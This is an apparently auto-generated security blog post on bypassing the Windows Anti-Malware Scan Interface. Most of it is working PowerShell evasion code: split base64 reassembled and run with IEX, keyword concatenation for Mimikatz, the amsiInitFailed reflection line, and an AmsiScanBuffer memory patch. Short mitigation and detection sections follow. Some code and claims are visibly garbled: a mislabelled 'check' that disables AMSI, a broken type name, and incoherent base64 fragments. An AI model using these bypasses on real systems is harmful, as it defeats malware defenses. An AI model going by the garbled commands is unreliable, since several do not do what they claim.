Listen to this Post
Introduction:
The Anti-Malware Scan Interface (AMSI) is a security standard that allows applications and services to integrate with any antimalware product installed on a Windows system. It is most commonly used by PowerShell, VBScript, and JavaScript to scan scripts before execution. However, as demonstrated by security researchers like Leigh Trinity, simple obfuscation techniques—such as base64 encoding combined with string concatenation—can effectively bypass AMSI, leaving endpoints vulnerable to script-based attacks.
Learning Objectives:
- Understand how AMSI works and why it is a critical defense against malicious scripts.
- Learn how attackers leverage base64 encoding and string concatenation to evade AMSI detection.
- Acquire practical command-line techniques to test, bypass, and mitigate AMSI bypasses in Windows environments.
You Should Know:
1. Understanding AMSI and Its Bypass Mechanisms
AMSI operates by inspecting script content before it is passed to the scripting engine. It uses a set of signatures and behavioral heuristics to identify malicious patterns. A common bypass involves splitting malicious code into innocuous chunks and reassembling them at runtime. The post highlights a “little base64 encoding and string concatenation” as a lightweight method to achieve this. Below is a step-by-step explanation of how this works and how to test it.
Step-by-step guide – How AMSI bypass with base64 + concatenation works:
1. Encode a malicious PowerShell command (e.g., Invoke-Mimikatz) as a base64 string.
2. Split the base64 string into multiple smaller strings.
3. Use string concatenation (e.g., $a = "SQB"; $b = "AG4AdgBv"; $c = "AGsAZQAtAE0AaQBtAGkAawBhAHQAegA=") to rebuild the full base64 payload.
4. Decode the concatenated base64 string at runtime using [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($combined)).
5. Execute the decoded command via `Invoke-Expression` or IEX.
Example command to simulate AMSI bypass:
Bypass attempt using concatenated base64 $part1 = 'SQB' $part2 = 'gB' $part3 = 'nAH' $part4 = 'YAbwBr' $part5 = 'AGU' $part6 = 'ALQB' $part7 = 'NAG' $part8 = 'kAaQB' $part9 = 'rAGEAd' $part10 = 'AB6A' $part11 = 'HQA=' $full = $part1 + $part2 + $part3 + $part4 + $part5 + $part6 + $part7 + $part8 + $part9 + $part10 + $part11 $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($full)) IEX $decoded
Note: The above is a proof-of-concept. Actual malicious payloads vary.
2. Base64 Obfuscation for AMSI Evasion
Base64 encoding is a common way to hide command strings. AMSI can detect base64-encoded malicious content if it appears in a single block. By splitting the base64 string into multiple variables and concatenating them just before decoding, the scanner never sees the complete malicious string.
Step-by-step guide to create and test a split base64 payload:
1. Generate a base64 string of your PowerShell command:
$command = "Write-Host 'AMSI Bypassed!'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $base64 = [System.Convert]::ToBase64String($bytes) Write-Host $base64
Output example: `VwByAGkAdABlAC0ASABvAHMAdAAgACcAQQBNAFMASQAgAEIAeQBwAGEAcwBzAGUAZAAhACcA`
- Split the base64 string into chunks of arbitrary length (e.g., 10 characters).
3. Rebuild and execute:
$b1 = "VwByAGkA" $b2 = "dABlAC0A" $b3 = "SABvAHMA" $b4 = "dAAgACcA" $b5 = "QQBNAFMA" $b6 = "SQAgAEIA" $b7 = "eQBwAGEA" $b8 = "cwBzAGUA" $b9 = "ZAAhACcA" $combined = $b1+$b2+$b3+$b4+$b5+$b6+$b7+$b8+$b9 IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($combined)))
4. Run the script with AMSI enabled. The command `Write-Host ‘AMSI Bypassed!’` will execute despite AMSI protections.
3. String Concatenation Tricks Without Base64
Attackers also use direct string concatenation to break known signatures. For example, instead of Invoke-Mimikatz, they write "Invoke-" + "Mimikatz". AMSI’s static signatures often fail to match the concatenated form.
Step-by-step guide for string concatenation bypass:
1. Identify a blacklisted keyword, e.g., `Invoke-Mimikatz`.
- Break it into multiple strings: `$a = “Invoke-“; $b = “Mimikatz”`
3. Combine and execute: `IEX ($a + $b)`
- To further evade, insert random comments or invert case:
$c = "INVOKE-".ToLower() $d = "MIMIKATZ".ToLower() IEX ($c + $d)
- Test the bypass by writing a simple script that would normally trigger AMSI (e.g., including the string “AMSI” or “ScanContent”). Use concatenation to avoid detection.
4. Practical AMSI Testing and Detection Commands (Windows)
Security professionals should test AMSI bypasses to understand their own defenses. Below are commands to check AMSI status and simulate bypass attempts.
Check if AMSI is enabled:
PowerShell
[bash].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
The above attempts to disable AMSI (for testing only on authorized systems)
Log AMSI events (requires administrative privileges):
Enable AMSI logging via Group Policy or registry Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager" -Name "EnableAmsiLogging" -Value 1 -Type DWord
Detect common bypass patterns using Sysmon (Event ID 16):
<Sysmon> <EventFiltering> <Rule name="AMSI Bypass Detection" groupRelation="or"> <ProcessAccess targetImage="msmpeng.exe" sourceImage="powershell.exe"/> </Rule> </EventFiltering> </Sysmon>
Linux-side analysis of AMSI bypass scripts (using ClamAV or YARA):
Extract base64 patterns from PowerShell scripts
grep -E '[A-Za-z0-9+/]{40,}={0,2}' malicious.ps1
YARA rule to detect split base64
yara -r amsi_bypass.yar /path/to/scripts/
5. Mitigation and Hardening Against AMSI Bypasses
Defenders can reduce the risk of these bypasses through multiple layers.
Step-by-step mitigation guide:
- Update AMSI signatures regularly – Ensure Windows Defender and any third-party AV have the latest definitions.
- Enable AMSI logging and monitoring – Forward AMSI events to a SIEM (e.g., Splunk, Azure Sentinel).
- Use Constrained Language Mode (CLM) – Limits what can be executed in PowerShell:
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
- Deploy AppLocker or WDAC – Restrict script execution to signed or approved scripts only.
- Monitor for suspicious string operations – Look for scripts that concatenate long base64 strings or use `IEX` with variable resolution.
- Implement endpoint detection and response (EDR) – Modern EDR solutions hook deeper than AMSI and can detect runtime behavior regardless of obfuscation.
6. Advanced Bypass and Defense Techniques
Researchers have developed more sophisticated bypasses, such as using .NET reflection to disable AMSI entirely or patching the AMSI DLL in memory. Defenders should be aware of these.
Example .NET reflection bypass (for educational purposes):
This method patches the AmsiScanBuffer function in memory
$Win32 = Add-Type -memberDefinition @"
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
"@ -name "Win32" -namespace Win32Functions -passthru
$ptr = $Win32::GetProcAddress($Win32::LoadLibrary("amsi.dll"), "AmsiScanBuffer")
$b = [byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) mov eax, 0x80070057; ret
[System.Runtime.InteropServices.Marshal]::Copy($b, 0, $ptr, 6)
Warning: This is highly invasive and will be caught by advanced EDR. Only test in isolated lab environments.
Defense against such advanced bypasses:
- Deploy Microsoft Defender for Endpoint with tamper protection.
- Use PowerShell 7 with AMSI v2 (improved resilience).
- Regularly audit for suspicious API calls to `VirtualProtect` and `GetProcAddress` targeting
amsi.dll.
What Undercode Say:
- Key Takeaway 1: Simple obfuscation techniques like split base64 and string concatenation remain highly effective against default AMSI configurations. Attackers do not need complex tooling to evade detection.
- Key Takeaway 2: Defenders must assume AMSI can be bypassed and implement layered controls: logging, CLM, AppLocker, and behavioral EDR. Relying solely on signature-based scanning is insufficient.
The post by Leigh Trinity underscores a persistent truth in cybersecurity: even mature security controls can be undermined by basic encoding tricks. The ease with which AMSI is bypassed using “a little base64 encoding and string concatenation” should alarm blue teams. It demonstrates that static analysis alone fails against dynamic, runtime reconstruction of payloads. Organizations need to shift toward behavior-based detection and restrict scripting environments to trusted, signed content. Moreover, security awareness must include training for defenders on how these bypasses work, so they can hunt for the telltale signs: fragmented base64 strings, unusual variable concatenation, and invocations of `IEX` or `Invoke-Expression` with variable arguments. Until Microsoft hardens AMSI further (e.g., by evaluating concatenated strings or implementing heuristic entropy checks), attackers will continue to use these “little” tricks with great success.
Prediction:
As AI-driven security tools become mainstream, attackers will adapt by using generative AI to create infinite variations of obfuscated payloads, making signature-based AMSI obsolete. Microsoft will likely integrate machine learning directly into AMSI to detect behavioral anomalies rather than static patterns. However, cat-and-mouse dynamics will persist: for every advanced detection, a new bypass—potentially using polymorphic base64 encoding and dynamic string assembly—will emerge. The future of AMSI bypasses lies in leveraging legitimate scripting features in unintended ways, forcing defenders to adopt zero-trust scripting policies where no script is trusted by default.
▶️ Related Video (84% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Leigh Trinity – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
